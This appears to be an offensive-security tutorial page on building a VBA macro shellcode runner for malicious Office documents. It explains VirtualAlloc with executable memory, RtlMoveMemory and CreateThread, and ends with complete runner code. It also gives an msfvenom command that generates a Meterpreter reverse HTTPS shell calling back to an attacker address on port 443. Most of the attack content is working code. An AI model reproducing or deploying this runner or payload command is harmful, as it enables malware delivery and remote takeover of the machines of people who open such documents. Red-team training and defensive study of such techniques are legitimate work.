Running Shellcode in Macro
Allocating Memory with VirtualAlloc
To execute shellcode, we first need to allocate memory in the process. The VirtualAlloc
function is used for this purpose. It takes the following parameters:
LPVOID VirtualAlloc(
LPVOID lpAddress, // Memory location (set to 0 to let the system choose)
SIZE_T dwSize, // Size of the allocation
DWORD flAllocationType, // Type of allocation (MEM_COMMIT | MEM_RESERVE)
DWORD flProtect // Memory protection (PAGE_EXECUTE_READWRITE)
);
In VBA, this function is declared as:
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" ( _
ByVal lpAddress As LongPtr, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As LongPtr
lpAddress
: Set to0
to let Windows decide the memory location.dwSize
: The size of the memory block, determined dynamically usingUBound(buf)
.flAllocationType
: Set to&H3000
(equivalent toMEM_COMMIT | MEM_RESERVE
).flProtect
: Set to&H40
(PAGE_EXECUTE_READWRITE
) to ensure the memory can be both written to and executed.
Example VBA Call:
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
Copying Shellcode to Memory with RtlMoveMemory
After memory is allocated, we need to copy our shellcode into this memory location. The RtlMoveMemory
function handles this:
VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
VOID UNALIGNED *Source,
SIZE_T Length
);
VBA Declaration:
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" ( _
ByVal lDestination As LongPtr, _
ByRef sSource As Any, _
ByVal lLength As Long) As LongPtr
lDestination
: Address of the allocated memory.sSource
: The shellcode array.lLength
: The length of the shellcode.
Looping Through Shellcode:
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
Executing the Shellcode with CreateThread
To execute the shellcode, we need to create a new execution thread using the CreateThread
API:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
VBA Declaration:
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" ( _
ByVal SecurityAttributes As Long, _
ByVal StackSize As Long, _
ByVal StartFunction As LongPtr, _
ThreadParameter As LongPtr, _
ByVal CreateFlags As Long, _
ByRef ThreadId As Long) As LongPtr
StartFunction
: Address of the shellcode buffer (addr
).Other arguments: Set to
0
since they are not required.
Executing the Shellcode:
res = CreateThread(0, 0, addr, 0, 0, 0)
Full VBA Shellcode Runner Code
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" ( _
ByVal SecurityAttributes As Long, _
ByVal StackSize As Long, _
ByVal StartFunction As LongPtr, _
ThreadParameter As LongPtr, _
ByVal CreateFlags As Long, _
ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" ( _
ByVal lpAddress As LongPtr, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" ( _
ByVal lDestination As LongPtr, _
ByRef sSource As Any, _
ByVal lLength As Long) As LongPtr
Function mymacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
' Example shellcode (placeholder)
buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82)
' Allocate memory for shellcode
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
' Copy shellcode into allocated memory
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
' Execute shellcode
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Last updated